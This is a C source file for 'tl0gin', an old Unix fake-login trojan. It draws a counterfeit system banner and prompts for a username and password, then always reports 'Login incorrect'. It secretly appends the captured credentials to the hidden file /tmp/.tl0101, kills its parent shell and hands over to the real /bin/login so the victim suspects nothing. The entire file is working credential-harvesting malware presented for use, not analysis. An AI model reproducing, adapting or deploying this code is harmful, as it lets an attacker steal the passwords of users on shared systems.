/* tl0gin 0.1 (c)oded by m4rc3l0 in 11/09/2002(putz)  *
 *              *
 * Greetz: BashX, roadhouse, sinner, decodi, r0ot, hts,  *
 * midnight, behael, dacker, seed, m4st, mor_PH_eus,  *
 * eSc2, anjinh0, bionatus..        *
 * #DNH, #ESFINGE, #FEANOR at BRASNET      *
 *              *
 * Mail-me: m4rc3l0rlz@yahoo.com.br      */
    

#include <stdio.h>
#include <stdlib.h>
#include <string.h> 
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/utsname.h>

 
/* Error */
#define ERROR1 "Login incorrect"

/* Arquive */
#define ARQUI "/tmp/.tl0101"

/* Others */
#define MAX 500
#define ERRO -1 
#define LOGIN "/bin/login"

void banner();
void loga();
void retorna();
int pega_info();
int grava_arq(char login[100], char passwd[100]);

char sys_name[100];
char sys_release[100];

int main()
{
    FILE *fp;

    signal(SIGINT, retorna);
    signal(SIGSTOP, retorna);
    signal(SIGQUIT, retorna);

    loga();
    
    return(0);
}

void loga() {
    int pid;
    char login[MAX], passwd[MAX], esconde[MAX], hostname[MAX];
    char *pass;
    
    pid = getppid();
    gethostname(hostname, sizeof(hostname));

    for(;;) {
  for(;;) {

      PRIMEIRO:
      banner();
      
      SEGUNDO:
      printf("%s login: ", hostname); 
      fflush(stdout);
      gets(login);

      if(strcmp(login, "") != 0)
    break;
      else
    goto PRIMEIRO;
  }

      pass = (char *)getpass ("Password: ");
      printf("%s\n\n", ERROR1);
            
      if(strlen(login) >= 3)
    break;
      else
    goto SEGUNDO;
  }
  
  grava_arq(login, pass);
  
  kill(pid, 9);
  execl(LOGIN, "", NULL);
}

int pega_info() {
    struct utsname info;

    if(uname(&info) == -1) {
  perror("uname");
  return -1;
    }

    sprintf(sys_name, "%s", info.sysname);
    sprintf(sys_release, "%s", info.release);
}
    
int grava_arq(char login[100], char passwd[100]) {
    FILE *fp;
    
    if((fp = fopen(ARQUI, "a")) != NULL) {
  fprintf(fp, "Login: %s\tPassword: %s\n", login, passwd);
  fclose(fp);
  return 0;
    }
    else 
  return -1;
}

void banner() {
    printf("\033[2J");
    printf("\033[2;1H");
    pega_info();
    printf("%s %s\n\n", sys_name, sys_release);
}

void retorna() {
    return;
}